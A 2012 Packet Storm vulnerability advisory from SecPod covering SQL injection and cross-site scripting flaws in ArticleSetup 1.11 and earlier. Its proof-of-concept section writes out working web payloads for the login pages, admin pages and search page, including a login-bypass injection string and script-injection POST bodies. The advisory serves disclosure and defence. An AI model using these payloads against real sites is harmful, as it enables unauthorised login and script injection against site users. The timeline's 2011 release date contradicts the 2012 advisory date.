ArticleSetup 1.11 Cross Site Scripting / SQL Injection

2012-03-30T00:00:00
ID PACKETSTORM:111394
Type packetstorm
Reporter Antu Sanadi
Modified 2012-03-30T00:00:00

Description

                                        
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# Title : ArticleSetup Multiple Persistence Cross-Site Scripting and SQL  
Injection Vulnerabilities  
# Author : Antu Sanadi SecPod Technologies (www.secpod.com)  
# Vendor : http://www.articlesetup.com/  
# Advisory : http://secpod.org/blog/?p=497  
# http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt  
# Software : ArticleSetup v1.11 and prior.  
# Date : 30/03/2012  
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SecPod ID: 1037 23/08/2011 Issue Discovered  
21/02/2012 Vendor Notified  
No Response from vendor  
30/03/2011 Advisory Released  
  
Class: XSS/SQL Injection Severity: High  
  
  
Overview:  
---------  
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection  
Vulnerabilities.  
  
  
Technical Description:  
----------------------  
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection  
Vulnerabilities.  
  
i) Input passed via the 'userid' and 'password' parameter in  
'/upload/login.php' page is not properly verified before being used in  
an SQL query. This can be exploited to manipulate SQL queries by injecting  
arbitrary SQL queries.  
  
ii) Input passed via the 'userid' and 'password' parameter in  
'/upload/admin/login.php' page is not properly verified before being  
used in an SQL query. This can be exploited to manipulate SQL queries  
by injecting arbitrary SQL queries.  
  
iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not  
properly verified before being used in an SQL query. This can be  
exploited to manipulate SQL queries by injecting arbitrary SQL queries.  
  
iV) Input passed via the 's' parameter in 'upload/search.php' page is not  
properly verified before being used in an SQL query. This can be  
exploited to manipulate SQL queries by injecting arbitrary SQL queries.  
  
V) Input passed via the 'id' parameter in '/upload/admin/pageedit.php',  
'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are  
not properly verified before being used in an SQL query. This can be  
exploited to manipulate SQL queries by injecting arbitrary SQL queries.  
  
Vi) Input passed via the 's' and parameter in '/upload/search.php' page is not  
properly verified before it is returned to the user. This can be exploited  
to execute arbitrary HTML and script code in a user's browser session in  
the context of a vulnerable site.  
  
Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php'  
page is not properly verified before it is returned to the user. This can  
be exploited to execute arbitrary HTML and script code in a user's browser  
session in the context of a vulnerable site.  
  
Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php',  
'/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not  
properly verified before it is returned to the user. This can be exploited  
to execute arbitrary HTML and script code in a user's browser session in  
the context of a vulnerable site.  
  
The vulnerabilities are tested in ArticleSetup v1.10 Other versions may also  
be affected.  
  
  
Impact:  
--------  
Successful exploitation could allow an attacker to execute arbitrary HTML  
code in a user's browser session in the context of a vulnerable application  
or to manipulate SQL queries by injecting arbitrary SQL code.  
  
  
Affected Software:  
------------------  
ArticleSetup v1.11 and prior.  
  
Tested on,  
ArticleSetup v1.10, v1.11  
  
  
References:  
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http://www.articlesetup.com/  
http://secpod.org/blog/?p=497  
http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt  
  
  
Proof of Concept:  
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POC 1:  
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SQL Injection Vulnerabilities.  
  
http://IP_ADDR/ArticleSetup/upload//feed.php?cat='  
http://IP_ADDR/ArticleSetup/upload/search.php?s=%27  
http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27  
http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27  
http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27  
  
POST /ArticleSetup/upload/login.php  
Host: IP_ADDR  
User-Agent: SQL INJECTION TEST  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 81  
  
Post Data:  
==========  
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23  
  
POST /ArticleSetup//upload/login.php  
Host: IP_ADDR  
User-Agent: SQL INJECTION TEST  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 81  
  
Post Data:  
==========  
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23  
  
POC 2:  
-----  
Cross Site Scripting Vulnerabilities.  
  
http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E  
  
POST /ArticleSetup//upload/author/submit.php HTTP/1.1  
Host: IP_ADDR  
User-Agent: STORED XSS TEST  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 202  
  
Post Data:  
==========  
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update=  
  
POST /ArticleSetup//upload/admin/articlenew.php  
Host: IP_ADDR  
User-Agent: STORED XSS TEST  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 163  
  
Post Data:  
==========  
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit=  
  
POST /ArticleSetup//upload/admin/categories.php  
Host: IP_ADDR  
User-Agent: STORED XSS TEST  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 90  
  
Post Data:  
==========  
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save=  
  
  
POST /ArticleSetup/upload/admin/pages.php  
Host: IP_ADDR  
User-Agent: STORED XSS TEST  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 114  
  
Post Data:  
==========  
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save=  
  
  
Solution:  
----------  
Fix not available  
  
  
Risk Factor:  
-------------  
CVSS Score Report:  
ACCESS_VECTOR = NETWORK  
ACCESS_COMPLEXITY = LOW  
AUTHENTICATION = NONE  
CONFIDENTIALITY_IMPACT = PARTIAL  
INTEGRITY_IMPACT = PARTIAL  
AVAILABILITY_IMPACT = NONE  
EXPLOITABILITY = PROOF_OF_CONCEPT  
REMEDIATION_LEVEL = UNAVAILABLE  
REPORT_CONFIDENCE = CONFIRMED  
CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)  
Risk factor = High   
  
  
Credits:  
--------  
Antu Sanadi of SecPod Technologies has been credited with the discovery of this  
vulnerability.  
  
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